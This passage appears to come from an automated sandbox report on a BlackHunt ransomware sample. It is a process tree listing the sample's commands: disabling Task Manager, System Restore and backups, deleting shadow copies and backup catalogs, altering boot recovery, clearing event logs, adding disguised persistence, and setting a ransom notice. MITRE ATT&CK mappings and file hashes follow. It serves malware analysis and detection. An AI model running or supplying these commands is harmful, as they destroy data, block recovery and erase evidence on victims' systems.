    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1884
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2236
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe" /F
  2⤵
  PID:972
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:268
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:108
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1372
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1072
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:580
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:784
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2360
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2380
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1876
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:5440
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:5392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:5428
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:5336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:5344
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:5400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4400
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:5212
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4628
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4904
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:5652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:5124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:5360
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:5832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:5768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4908
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:5860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5464
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5460
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4700
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:5008
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4844
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4912
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4852
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:5796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:5676
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5500
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe"
  2⤵
  - Deletes itself
  PID:5756
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:5896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:5520
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:6008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:5820
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:5764

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2143865160558505714-951798863323846685-3172112052369306921877588032-481563123"
1⤵
PID:2888

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2248

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2512

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2016

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
f9a4fd033e1cda1224fa4f45bfe30421

SHA1
019dbcfa64aa66086d81a3c156e4fa6d5c305772

SHA256
a1678bdff15a3951c16d8a022a4e79893e2344564439b75b6cecde9f72a00fc7

SHA512
0a125e8a78d6b73cd0cec21a1e521a2ea1dcfa72230eac7cdb8ee9e57ffac4330dd16503d80175d3f3cc7fe9cb9a0ba0de4f6d5fa612d7a0900fc3ab3fc2cd14

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
e4be6000224f7629c7201a499c81bb9e

SHA1
31f0ef6c5807ecdab87090c00852a8ca42a9cacd

SHA256
1b2567249f83f4cf12fd0bf4d557ddb2618124a617c5444470030059b743f98a

SHA512
f9ec118d8a13126e91049e7f030ae0bf2ff86e80ee94650ee378cc26258295f32b42c11e1922f5cd16bf0a0154d6cbc6e20cdce5cd1894ba69aec4656688611d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
1f6f543be03e7c672ba79ee103dc199c

SHA1
3a34034fecb2750f73f33b2eef3830b2aa664c25

SHA256
368b7cb58d121067a350444bc2298fc16de3fddd37316b03024f6d532d397a20

SHA512
dcf05a42f61497a7828b5a9def7580ff0f900f9daf388492020836da7f40ad4b97ba64815aa5d424ab1160f307267b51d0468ef3e482e2c7a7e04f3f3ab43a84

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads